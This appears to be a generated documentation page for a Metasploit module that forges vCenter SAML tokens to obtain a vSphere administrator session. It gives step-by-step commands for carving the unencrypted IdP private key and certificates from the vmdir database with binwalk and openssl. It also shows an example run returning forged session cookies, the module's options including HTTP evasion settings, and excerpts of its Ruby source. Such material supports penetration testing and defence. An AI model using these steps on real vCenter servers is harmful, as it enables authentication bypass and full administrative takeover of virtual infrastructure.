VMware vCenter Forge SAML Authentication Credentials - Metasploit
This page contains detailed information about how to use the auxiliary/admin/vmware/vcenter_forge_saml_token metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: VMware vCenter Forge SAML Authentication Credentials
Module: auxiliary/admin/vmware/vcenter_forge_saml_token
Source code: modules/auxiliary/admin/vmware/vcenter_forge_saml_token.rb
Disclosure date: 2022-04-20
Last modification time: 2022-10-03 19:50:04 +0000
Supported architecture(s): -
Supported platform(s): Linux
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: -
This module forges valid SAML credentials for vCenter server using the vCenter SSO IdP certificate, IdP private key, and VMCA certificates as input objects; you must also provide the vCenter SSO domain name and vCenter FQDN. The module will return a session cookie for the /ui path that grants access to the SSO domain as a vSphere administrator. The IdP trusted certificate chain can be retrieved using Metasploit post exploitation modules or extracted manually from /storage/db/vmware-vmdir/data.mdb using binwalk.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Reliability:
- repeatable-session: The module is expected to get a shell every time it runs.
Stability:
- crash-safe: Module should not crash the service.
Side Effects:
- ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
Basic Usage
msf > use auxiliary/admin/vmware/vcenter_forge_saml_token
msf auxiliary(vcenter_forge_saml_token) > show targets
... a list of targets ...
msf auxiliary(vcenter_forge_saml_token) > set TARGET target-id
msf auxiliary(vcenter_forge_saml_token) > show options
... show and set options ...
msf auxiliary(vcenter_forge_saml_token) > exploit
Required Options
RHOSTS: The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
VHOST: DNS FQDN of the vCenter server
VC_IDP_CERT: Path to the vCenter IdP certificate
VC_IDP_KEY: Path to the vCenter IdP private key
VC_VMCA_CERT: Path to the vCenter VMCA certificate
Knowledge Base
This module forges valid SAML credentials for vCenter server using the vCenter SSO IdP certificate,
IdP private key, and VMCA root certificate as input objects; you must also provide the vCenter SSO
domain name and vCenter FQDN. Successful execution returns a session cookie for the /ui
path that
grants access to the SSO domain as a vSphere administrator. The IdP trusted certificate chain can be
retrieved using Metasploit vCenter post-exploitation modules, or extracted manually from the vmdir
database file at /storage/db/vmware-vmdir/data.mdb
using binwalk
. This module is largely based
on information published by Zach Hanley at Horizon3:
https://www.horizon3.ai/compromising-vcenter-via-saml-certificates/
Vulnerable Application
This module is tested against the vCenter appliance but will probably work against Windows instances. It has been tested against vCenter appliance versions 6.5, 6.7, and 7.0, and will work on vCenter 7.0 Update 3 which introduced additional validation mechanisms to the SSO login process (RelayState). It will probably work against other versions of vCenter appliance down to vCenter 6.0 but has not been tested at versions below 6.5.
Verification Steps
This module must be executed while the target vCenter server is reachable over the network. You must
already possess the SSO IdP certificate and key, and the VMCA certificate. These can be acquired by
using a Metasploit vCenter post-exploitation module (with access to a live system with root creds)
or by extracting the data manually from the vmdir database file using binwalk (with access to a
vCenter backup). By default, the target domain vsphere.local
and target username administrator
are used; the target domain may be different depending on the scenario and should be adjusted
accordingly.
- Acquire the vCenter IdP certificate and private key, and VMCA certificate (see below)
- Start msfconsole
- Do:
use auxiliary/admin/vmware/vcenter_forge_saml_token.rb
- Do:
set rhosts <vCenter appliance IPv4 or FQDN>
- Do:
set vhost <vCenter appliance FQDN>
- Do:
set vc_idp_cert <path to IdP cert>
- Do:
set vc_idp_key <path to IdP key>
- Do:
set vc_vmca_cert <path to VMCA cert>
- Verify that the values for
domain
andusername
are sane - Do:
run
- Open a web browser and navigate to the vCenter admin UI for the target server (
https://<vcenterfqdn>/ui
) - Apply the acquired session cookie for the vCenter host at the
/ui
path
Options
DOMAIN
The vSphere SSO domain; by default this is vsphere.local
. If this does not match the vSphere SSO
domain, the module will return HTTP 400: Issuer not trusted
on execution.
USERNAME
The target user within the SSO domain. This must be a valid user as vCenter will happily issue
SAML assertions for invalid usernames, but the provided session tokens will not function. There
should be no reason to modify the target user from the default administrator
in most scenarios.
RHOSTS
The vCenter appliance IPv4 address or DNS FQDN. This must be reachable over HTTPS for the module to function.
VHOST
The fully qualified DNS name of the vCenter appliance; this must be present in the Issuer element
of the assertion for the module to function. If this value does not match the vCenter appliance
FQDN, the module will return HTTP 400
during the initial GET
request.
VC_IDP_CERT
The filesystem path to the vCenter SSO IdP certificate in DER or PEM format.
VC_IDP_KEY
The filesystem path to the vCenter SSO IdP private key in DER or PEM format.
VC_VMCA_CERT
The filesystem path to the vCenter VMCA certificate in DER or PEM format.
Advanced Options
VC_IDP_TOKEN_BEFORE_SKEW
Number of seconds to subtract when preparing the assertion validity start time. Valid values are between
300
(five minutes) and 2592000
(30 days); default is 2592000
.
VC_IDP_TOKEN_AFTER_SKEW
Number of seconds to add when preparing the assertion validity end time. Valid values are between
300
(five minutes) and 2592000
(30 days); default is 2592000
.
Scenarios
Extracting the vSphere SSO certificates
The vmdir database is hosted on the appliance at /storage/db/vmware-vmdir/data.mdb
- it is possible
to extract the IdP keys from this file presuming you have root access to the appliance, or read access
to a vCenter backup repository. Copy the file to the local system, and use binwalk to scan for the
private key material.
binwalk --signature ./data.mdb
vSphere vmdir stores the IdP secrets without encryption within the database. There are many x509 certificates within the vmdir database but there should only be two private keys; you are looking for two x509 v3 certificates in close proximity to two PKCS#1 RSA private keys in DER format. Below is an example of the target location from a binwalk signature scan of an example vmdir database.
[...]
8839882 0x86E2CA Certificate in DER format (x509 v3), header length: 4, sequence length: 991
8840880 0x86E6B0 Certificate in DER format (x509 v3), header length: 4, sequence length: 1079
8841970 0x86EAF2 Private key in DER format (PKCS header length: 4, sequence length: 1215
8841996 0x86EB0C Private key in DER format (PKCS header length: 4, sequence length: 1189
[...]
The target data starts at offset 8839882
in this example. Adding the sequence lengths together we get 4474
bytes, thus:
binwalk --offset=8839882 --length=4474 --dd=".*" ./data.mdb
Will extract the target files.
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
8839882 0x86E2CA Certificate in DER format (x509 v3), header length: 4, sequence length: 991
8840880 0x86E6B0 Certificate in DER format (x509 v3), header length: 4, sequence length: 1079
8841970 0x86EAF2 Private key in DER format (PKCS header length: 4, sequence length: 1215
8841996 0x86EB0C Private key in DER format (PKCS header length: 4, sequence length: 1189
$ ls -l ./_data.mdb.extracted/
total 16
-rwxrwxrwx 1 cs137 cs137 995 Apr 21 06:55 86E2CA
-rwxrwxrwx 1 cs137 cs137 1083 Apr 21 06:55 86E6B0
-rwxrwxrwx 1 cs137 cs137 1219 Apr 21 06:55 86EAF2
-rwxrwxrwx 1 cs137 cs137 1193 Apr 21 06:55 86EB0C
These should be the VMCA root certificate and SSO IdP certificate and private key. Note that vmdir appears to store two
copies of the IdP private key, presumably to allow the key to be rotated if required. For a vanilla install of vCenter,
both private keys will be identical. To determine which one is which, first compare the certificate CN using OpenSSL. The
SSO IdP credential should have a common name of ssoserverSign
.
openssl x509 -inform der -in ./_data.mdb.extracted/86E2CA -noout -subject
subject=CN = ssoserverSign
openssl x509 -inform der -in ./_data.mdb.extracted/86E6B0 -noout -subject
subject=CN = CA, DC = vsphere.local, C = US, ST = California, O = vcenter.cesium137.io, OU = VMware Engineering
This confirms that 86E2CA
is the IdP certificate, and 86E6B0
is the VMCA certificate. Convert them
to PEM format and rename them for convenience:
openssl x509 -inform der -in ./_data.mdb.extracted/86E2CA -outform pem -out ./idp.pem
openssl x509 -inform der -in ./_data.mdb.extracted/86E6B0 -outform pem -out ./vmca.pem
To associate them with their private key, first calculate the SHA-256 digest of the modulus for both certificates.
openssl x509 -in ./idp.pem -modulus -noout | sha256sum
482a9fcb97dfd29b8478c51b394cce8463f04038cdc507957b8a1ee5a99ccb32 -
openssl x509 -in ./vmca.pem -modulus -noout | sha256sum
432f0244896a3243f46d4a2f7322127a52b891a53b984745c286989c02862a13 -
Compare these to the modulus component of the candidate keys to associate them with the corresponding certificate.
openssl rsa -inform der -in ./_data.mdb.extracted/86EAF2 -modulus -noout | sha256sum
482a9fcb97dfd29b8478c51b394cce8463f04038cdc507957b8a1ee5a99ccb32 -
openssl rsa -inform der -in ./_data.mdb.extracted/86EB0C -modulus -noout | sha256sum
482a9fcb97dfd29b8478c51b394cce8463f04038cdc507957b8a1ee5a99ccb32 -
Based on this output we conclude 86EAF2
and 86EB0C
are identical, and share a modulus with the
IdP certificate: either of these can be extracted. Convert the file to PEM format and rename it for
convenience.
openssl rsa -inform der -in ./_data.mdb.extracted/86EAF2 -outform pem -out ./idp.key
writing RSA key
You should now have idp.pem
, idp.key
, and vmca.pem
in your working directory in PEM format.
Running the Module
Example run against vCenter appliance version 7.0 Update 3d:
msf6 > use auxiliary/admin/vmware/vcenter_forge_saml_token.rb
msf6 auxiliary(admin/vmware/vcenter_forge_saml_token) > set RHOSTS 192.168.100.110
RHOSTS => 192.168.100.110
msf6 auxiliary(admin/vmware/vcenter_forge_saml_token) > set VHOST vcenter.cesium137.io
VHOST => vcenter.cesium137.io
msf6 auxiliary(admin/vmware/vcenter_forge_saml_token) > set VC_IDP_CERT ~/idp.pem
VC_IDP_CERT => ~/idp.pem
msf6 auxiliary(admin/vmware/vcenter_forge_saml_token) > set VC_IDP_KEY ~/idp.key
VC_IDP_KEY => ~/idp.key
msf6 auxiliary(admin/vmware/vcenter_forge_saml_token) > set VC_VMCA_CERT ~/vmca.pem
VC_VMCA_CERT => ~/vmca.pem
msf6 auxiliary(admin/vmware/vcenter_forge_saml_token) > run
[*] Running module against 192.168.100.110
[+] Validated vCenter Single Sign-On IdP trusted certificate chain
[*] HTTP GET => /ui/login ...
[*] HTTP POST => /ui/saml/websso/sso ...
[*] Got cookie: VSPHERE-CLIENT-SESSION-INDEX=_ad4a6b68b157bded0de5ec6ce2cab324
[*] Got cookie: VSPHERE-UI-JSESSIONID=DA9ECA61A289E32D31D9926D0CD433C1
[*] Got cookie: VSPHERE-USERNAME=administrator%40vsphere.local
[+] Got valid administrator session token!
[+] JSESSIONID=DA9ECA61A289E32D31D9926D0CD433C1; Path=/ui
[*] Auxiliary module execution completed
msf6 auxiliary(admin/vmware/vcenter_forge_saml_token) >
Using the Session Cookie
Inject the acquired session cookie using the method of your choice. The cookie name must be
JSESSIONID
with the value returned from the auxiliary module, and the path for the cookie
must be set to /ui
.
Go back to menu.
Msfconsole Usage
Here is how the admin/vmware/vcenter_forge_saml_token auxiliary module looks in the msfconsole:
msf6 > use auxiliary/admin/vmware/vcenter_forge_saml_token
msf6 auxiliary(admin/vmware/vcenter_forge_saml_token) > show info
Name: VMware vCenter Forge SAML Authentication Credentials
Module: auxiliary/admin/vmware/vcenter_forge_saml_token
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2022-04-20
Provided by:
npm <[email protected]>
Module side effects:
ioc-in-logs
Module stability:
crash-safe
Module reliability:
repeatable-session
Available actions:
Name Description
---- -----------
Run Generate vSphere session cookie
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN vsphere.local yes The target vSphere SSO domain
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
USERNAME administrator yes The username to target using forged credentials
VC_IDP_CERT yes Path to the vCenter IdP certificate
VC_IDP_KEY yes Path to the vCenter IdP private key
VC_VMCA_CERT yes Path to the vCenter VMCA certificate
VHOST yes DNS FQDN of the vCenter server
Description:
This module forges valid SAML credentials for vCenter server using
the vCenter SSO IdP certificate, IdP private key, and VMCA
certificates as input objects; you must also provide the vCenter SSO
domain name and vCenter FQDN. The module will return a session
cookie for the /ui path that grants access to the SSO domain as a
vSphere administrator. The IdP trusted certificate chain can be
retrieved using Metasploit post exploitation modules or extracted
manually from /storage/db/vmware-vmdir/data.mdb using binwalk.
References:
https://www.horizon3.ai/compromising-vcenter-via-saml-certificates/
Module Options
This is a complete list of options available in the admin/vmware/vcenter_forge_saml_token auxiliary module:
msf6 auxiliary(admin/vmware/vcenter_forge_saml_token) > show options
Module options (auxiliary/admin/vmware/vcenter_forge_saml_token):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN vsphere.local yes The target vSphere SSO domain
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
USERNAME administrator yes The username to target using forged credentials
VC_IDP_CERT yes Path to the vCenter IdP certificate
VC_IDP_KEY yes Path to the vCenter IdP private key
VC_VMCA_CERT yes Path to the vCenter VMCA certificate
VHOST yes DNS FQDN of the vCenter server
Auxiliary action:
Name Description
---- -----------
Run Generate vSphere session cookie
Advanced Options
Here is a complete list of advanced options supported by the admin/vmware/vcenter_forge_saml_token auxiliary module:
msf6 auxiliary(admin/vmware/vcenter_forge_saml_token) > show advanced
Module advanced options (auxiliary/admin/vmware/vcenter_forge_saml_token):
Name Current Setting Required Description
---- --------------- -------- -----------
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non
-IIS servers
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLServerNameIndication no SSL/TLS Server Name Indication (SNI)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto
-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
UserAgent Mozilla/5.0 (Macintosh; Intel Mac OS X no The User-Agent header to use for all requests
12_2_1) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/98.0.4758.81 Safari/537.
36
VC_IDP_TOKEN_AFTER_SKEW 2592000 yes NOT_AFTER seconds to add to current time, values 300 to 2592000
VC_IDP_TOKEN_BEFORE_SKEW 2592000 yes NOT_BEFORE seconds to subtract from current time, values 300 to 2592000
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the admin/vmware/vcenter_forge_saml_token module can do:
msf6 auxiliary(admin/vmware/vcenter_forge_saml_token) > show actions
Auxiliary actions:
Name Description
---- -----------
Run Generate vSphere session cookie
Evasion Options
Here is the full list of possible evasion options supported by the admin/vmware/vcenter_forge_saml_token auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(admin/vmware/vcenter_forge_saml_token) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-norm
al, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
- Unable to generate SAML response XML
- Unable to sign SAML assertion
- Unable to acquire administrator session token
- File read failure: <E.CLASS> - <E.MESSAGE>
- Error reading certificate files
- Invalid VMCA certificate: <VC_VMCA_CERT.PATH>
- Invalid IdP certificate: <VC_IDP_CERT.PATH>
- Invalid IdP private key: <VC_IDP_KEY.PATH>
- Provided IdP public and private keys are not associated
- IdP issuer DN does not match provided VMCA subject DN!n IdP Issuer DN: <PUB.ISSUER>nVMCA Subject DN: <CA.SUBJECT>
- Invalid IdP certificate chain
- Provided IdP certificate does not chain to VMCA certificate
- Could not reach SAML endpoint
- <RHOST> - expected HTTP 302, got HTTP <RES.CODE>
- SAMLRequest query parameter was not returned with HTTP GET
- <RHOST> - could not reach SAML endpoint
- //div[@class='error-message']
- Response: <RES_DETAIL>
- Unable to interpret response from vCenter. Raw response:n<RES>
- Expected HTTP 302, got HTTP <RES.CODE>
- Invalid vCenter FQDN provided: <VCENTER_FQDN>
- Invalid vCenter SSO domain provided: <DOMAIN>
- Advanced options NOT_BEFORE and NOT_AFTER time skew cannot be less than 300 seconds
- Advanced options NOT_BEFORE and NOT_AFTER time skew cannot be greater than 2592000 seconds
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Unable to generate SAML response XML
Here is a relevant code snippet related to the "Unable to generate SAML response XML" error message:
128: print_status('HTTP GET => /ui/login ...')
129: init_vsphere_login
130:
131: vprint_status('Create forged SAML assertion XML ...')
132: unless (vsphere_saml_response = get_saml_response_template)
133: fail_with(Msf::Exploit::Failure::Unknown, 'Unable to generate SAML response XML')
134: end
135:
136: vprint_status('Sign forged SAML assertion with IdP key ...')
137: unless (vsphere_saml_auth = sign_vcenter_saml(vsphere_saml_response))
138: fail_with(Msf::Exploit::Failure::Unknown, 'Unable to sign SAML assertion')
Unable to sign SAML assertion
Here is a relevant code snippet related to the "Unable to sign SAML assertion" error message:
133: fail_with(Msf::Exploit::Failure::Unknown, 'Unable to generate SAML response XML')
134: end
135:
136: vprint_status('Sign forged SAML assertion with IdP key ...')
137: unless (vsphere_saml_auth = sign_vcenter_saml(vsphere_saml_response))
138: fail_with(Msf::Exploit::Failure::Unknown, 'Unable to sign SAML assertion')
139: end
140:
141: print_status('HTTP POST => /ui/saml/websso/sso ...')
142: unless (session_cookie = submit_vcenter_auth(vsphere_saml_auth))
143: fail_with(Msf::Exploit::Failure::Unknown, 'Unable to acquire administrator session token')
Unable to acquire administrator session token
Here is a relevant code snippet related to the "Unable to acquire administrator session token" error message:
138: fail_with(Msf::Exploit::Failure::Unknown, 'Unable to sign SAML assertion')
139: end
140:
141: print_status('HTTP POST => /ui/saml/websso/sso ...')
142: unless (session_cookie = submit_vcenter_auth(vsphere_saml_auth))
143: fail_with(Msf::Exploit::Failure::Unknown, 'Unable to acquire administrator session token')
144: end
145:
146: print_good('Got valid administrator session token!')
147: print_good("\t#{session_cookie}")
148: end
File read failure: <E.CLASS> - <E.MESSAGE>
Here is a relevant code snippet related to the "File read failure: <E.CLASS> - <E.MESSAGE>" error message:
151: begin
152: idp_cert_file = File.binread(vc_idp_cert)
153: idp_key_file = File.binread(vc_idp_key)
154: vmca_cert_file = File.binread(vc_vmca_cert)
155: rescue StandardError => e
156: print_error("File read failure: #{e.class} - #{e.message}")
157: fail_with(Msf::Exploit::Failure::BadConfig, 'Error reading certificate files')
158: end
159:
160: unless (ca = OpenSSL::X509::Certificate.new(vmca_cert_file))
161: fail_with(Msf::Exploit::Failure::BadConfig, "Invalid VMCA certificate: #{vc_vmca_cert.path}")
Error reading certificate files
Here is a relevant code snippet related to the "Error reading certificate files" error message:
152: idp_cert_file = File.binread(vc_idp_cert)
153: idp_key_file = File.binread(vc_idp_key)
154: vmca_cert_file = File.binread(vc_vmca_cert)
155: rescue StandardError => e
156: print_error("File read failure: #{e.class} - #{e.message}")
157: fail_with(Msf::Exploit::Failure::BadConfig, 'Error reading certificate files')
158: end
159:
160: unless (ca = OpenSSL::X509::Certificate.new(vmca_cert_file))
161: fail_with(Msf::Exploit::Failure::BadConfig, "Invalid VMCA certificate: #{vc_vmca_cert.path}")
162: end
Invalid VMCA certificate: <VC_VMCA_CERT.PATH>
Here is a relevant code snippet related to the "Invalid VMCA certificate: <VC_VMCA_CERT.PATH>" error message:
156: print_error("File read failure: #{e.class} - #{e.message}")
157: fail_with(Msf::Exploit::Failure::BadConfig, 'Error reading certificate files')
158: end
159:
160: unless (ca = OpenSSL::X509::Certificate.new(vmca_cert_file))
161: fail_with(Msf::Exploit::Failure::BadConfig, "Invalid VMCA certificate: #{vc_vmca_cert.path}")
162: end
163:
164: unless (pub = OpenSSL::X509::Certificate.new(idp_cert_file))
165: fail_with(Msf::Exploit::Failure::BadConfig, "Invalid IdP certificate: #{vc_idp_cert.path}")
166: end
Invalid IdP certificate: <VC_IDP_CERT.PATH>
Here is a relevant code snippet related to the "Invalid IdP certificate: <VC_IDP_CERT.PATH>" error message:
160: unless (ca = OpenSSL::X509::Certificate.new(vmca_cert_file))
161: fail_with(Msf::Exploit::Failure::BadConfig, "Invalid VMCA certificate: #{vc_vmca_cert.path}")
162: end
163:
164: unless (pub = OpenSSL::X509::Certificate.new(idp_cert_file))
165: fail_with(Msf::Exploit::Failure::BadConfig, "Invalid IdP certificate: #{vc_idp_cert.path}")
166: end
167:
168: unless (priv = OpenSSL::PKey::RSA.new(idp_key_file))
169: fail_with(Msf::Exploit::Failure::BadConfig, "Invalid IdP private key: #{vc_idp_key.path}")
170: end
Invalid IdP private key: <VC_IDP_KEY.PATH>
Here is a relevant code snippet related to the "Invalid IdP private key: <VC_IDP_KEY.PATH>" error message:
164: unless (pub = OpenSSL::X509::Certificate.new(idp_cert_file))
165: fail_with(Msf::Exploit::Failure::BadConfig, "Invalid IdP certificate: #{vc_idp_cert.path}")
166: end
167:
168: unless (priv = OpenSSL::PKey::RSA.new(idp_key_file))
169: fail_with(Msf::Exploit::Failure::BadConfig, "Invalid IdP private key: #{vc_idp_key.path}")
170: end
171:
172: unless pub.check_private_key(priv)
173: fail_with(Msf::Exploit::Failure::BadConfig, 'Provided IdP public and private keys are not associated')
174: end
Provided IdP public and private keys are not associated
Here is a relevant code snippet related to the "Provided IdP public and private keys are not associated" error message:
168: unless (priv = OpenSSL::PKey::RSA.new(idp_key_file))
169: fail_with(Msf::Exploit::Failure::BadConfig, "Invalid IdP private key: #{vc_idp_key.path}")
170: end
171:
172: unless pub.check_private_key(priv)
173: fail_with(Msf::Exploit::Failure::BadConfig, 'Provided IdP public and private keys are not associated')
174: end
175:
176: unless (pub.issuer.to_s == ca.subject.to_s)
177: print_error("IdP issuer DN does not match provided VMCA subject DN!\n\t IdP Issuer DN: #{pub.issuer}\n\tVMCA Subject DN: #{ca.subject}")
178: fail_with(Msf::Exploit::Failure::BadConfig, 'Invalid IdP certificate chain')
IdP issuer DN does not match provided VMCA subject DN!n IdP Issuer DN: <PUB.ISSUER>nVMCA Subject DN: <CA.SUBJECT>
Here is a relevant code snippet related to the "IdP issuer DN does not match provided VMCA subject DN!n IdP Issuer DN: <PUB.ISSUER>nVMCA Subject DN: <CA.SUBJECT>" error message:
172: unless pub.check_private_key(priv)
173: fail_with(Msf::Exploit::Failure::BadConfig, 'Provided IdP public and private keys are not associated')
174: end
175:
176: unless (pub.issuer.to_s == ca.subject.to_s)
177: print_error("IdP issuer DN does not match provided VMCA subject DN!\n\t IdP Issuer DN: #{pub.issuer}\n\tVMCA Subject DN: #{ca.subject}")
178: fail_with(Msf::Exploit::Failure::BadConfig, 'Invalid IdP certificate chain')
179: end
180:
181: unless pub.verify(ca.public_key)
182: fail_with(Msf::Exploit::Failure::BadConfig, 'Provided IdP certificate does not chain to VMCA certificate')
Invalid IdP certificate chain
Here is a relevant code snippet related to the "Invalid IdP certificate chain" error message:
173: fail_with(Msf::Exploit::Failure::BadConfig, 'Provided IdP public and private keys are not associated')
174: end
175:
176: unless (pub.issuer.to_s == ca.subject.to_s)
177: print_error("IdP issuer DN does not match provided VMCA subject DN!\n\t IdP Issuer DN: #{pub.issuer}\n\tVMCA Subject DN: #{ca.subject}")
178: fail_with(Msf::Exploit::Failure::BadConfig, 'Invalid IdP certificate chain')
179: end
180:
181: unless pub.verify(ca.public_key)
182: fail_with(Msf::Exploit::Failure::BadConfig, 'Provided IdP certificate does not chain to VMCA certificate')
183: end
Provided IdP certificate does not chain to VMCA certificate
Here is a relevant code snippet related to the "Provided IdP certificate does not chain to VMCA certificate" error message:
177: print_error("IdP issuer DN does not match provided VMCA subject DN!\n\t IdP Issuer DN: #{pub.issuer}\n\tVMCA Subject DN: #{ca.subject}")
178: fail_with(Msf::Exploit::Failure::BadConfig, 'Invalid IdP certificate chain')
179: end
180:
181: unless pub.verify(ca.public_key)
182: fail_with(Msf::Exploit::Failure::BadConfig, 'Provided IdP certificate does not chain to VMCA certificate')
183: end
184:
185: print_good('Validated vCenter Single Sign-On IdP trusted certificate chain')
186:
187: @vcenter_saml_idp_cert = pub
Could not reach SAML endpoint
Here is a relevant code snippet related to the "Could not reach SAML endpoint" error message:
194: 'uri' => '/ui/login',
195: 'method' => 'GET'
196: })
197:
198: unless res
199: fail_with(Msf::Exploit::Failure::Unreachable, 'Could not reach SAML endpoint')
200: end
201:
202: unless res.code == 302
203: fail_with(Msf::Exploit::Failure::UnexpectedReply, "#{rhost} - expected HTTP 302, got HTTP #{res.code}")
204: end
<RHOST> - expected HTTP 302, got HTTP <RES.CODE>
Here is a relevant code snippet related to the "<RHOST> - expected HTTP 302, got HTTP <RES.CODE>" error message:
198: unless res
199: fail_with(Msf::Exploit::Failure::Unreachable, 'Could not reach SAML endpoint')
200: end
201:
202: unless res.code == 302
203: fail_with(Msf::Exploit::Failure::UnexpectedReply, "#{rhost} - expected HTTP 302, got HTTP #{res.code}")
204: end
205:
206: datastore['TARGETURI'] = res['location']
207: uri = target_uri
208:
SAMLRequest query parameter was not returned with HTTP GET
Here is a relevant code snippet related to the "SAMLRequest query parameter was not returned with HTTP GET" error message:
207: uri = target_uri
208:
209: query = queryparse(uri.query || '')
210:
211: unless (vsphere_saml_request_query = CGI.unescape(query['SAMLRequest']))
212: fail_with(Msf::Exploit::Failure::UnexpectedReply, 'SAMLRequest query parameter was not returned with HTTP GET')
213: end
214:
215: if !query['RelayState'].nil?
216: @vcenter_saml_relay_state = CGI.unescape(query['RelayState'])
217: vprint_status("Response included RelayState: #{@vcenter_saml_relay_state}")
<RHOST> - could not reach SAML endpoint
Here is a relevant code snippet related to the "<RHOST> - could not reach SAML endpoint" error message:
336: 'keep_cookies' => 'true'
337: })
338: end
339:
340: unless res
341: fail_with(Msf::Exploit::Failure::Unreachable, "#{rhost} - could not reach SAML endpoint")
342: end
343:
344: unless res.code == 302
345: if res.body.to_s != ''
346: res_html = Nokogiri::HTML(res.body.to_s)
//div[@class='error-message']
Here is a relevant code snippet related to the "//div[@class='error-message']" error message:
342: end
343:
344: unless res.code == 302
345: if res.body.to_s != ''
346: res_html = Nokogiri::HTML(res.body.to_s)
347: res_detail = res_html.at("//div[@class='error-message']").text.gsub('..', '.')
348: if res_detail
349: print_error("Response: #{res_detail}")
350: else
351: print_error("Unable to interpret response from vCenter. Raw response:\n#{res}")
352: end
Response: <RES_DETAIL>
Here is a relevant code snippet related to the "Response: <RES_DETAIL>" error message:
344: unless res.code == 302
345: if res.body.to_s != ''
346: res_html = Nokogiri::HTML(res.body.to_s)
347: res_detail = res_html.at("//div[@class='error-message']").text.gsub('..', '.')
348: if res_detail
349: print_error("Response: #{res_detail}")
350: else
351: print_error("Unable to interpret response from vCenter. Raw response:\n#{res}")
352: end
353: end
354: fail_with(Msf::Exploit::Failure::UnexpectedReply, "Expected HTTP 302, got HTTP #{res.code}")
Unable to interpret response from vCenter. Raw response:n<RES>
Here is a relevant code snippet related to the "Unable to interpret response from vCenter. Raw response:n<RES>" error message:
346: res_html = Nokogiri::HTML(res.body.to_s)
347: res_detail = res_html.at("//div[@class='error-message']").text.gsub('..', '.')
348: if res_detail
349: print_error("Response: #{res_detail}")
350: else
351: print_error("Unable to interpret response from vCenter. Raw response:\n#{res}")
352: end
353: end
354: fail_with(Msf::Exploit::Failure::UnexpectedReply, "Expected HTTP 302, got HTTP #{res.code}")
355: end
356:
Expected HTTP 302, got HTTP <RES.CODE>
Here is a relevant code snippet related to the "Expected HTTP 302, got HTTP <RES.CODE>" error message:
349: print_error("Response: #{res_detail}")
350: else
351: print_error("Unable to interpret response from vCenter. Raw response:\n#{res}")
352: end
353: end
354: fail_with(Msf::Exploit::Failure::UnexpectedReply, "Expected HTTP 302, got HTTP #{res.code}")
355: end
356:
357: cookie_jar.cookies.each do |c|
358: print_status("Got cookie: #{c.name}=#{c.value}")
359: end
Invalid vCenter FQDN provided: <VCENTER_FQDN>
Here is a relevant code snippet related to the "Invalid vCenter FQDN provided: <VCENTER_FQDN>" error message:
372: "JSESSIONID=#{@vcenter_saml_token}; Path=#{@vcenter_saml_path}"
373: end
374:
375: def validate_domains
376: unless validate_fqdn(vcenter_fqdn)
377: fail_with(Msf::Exploit::Failure::BadConfig, "Invalid vCenter FQDN provided: #{vcenter_fqdn}")
378: end
379:
380: unless validate_fqdn(domain)
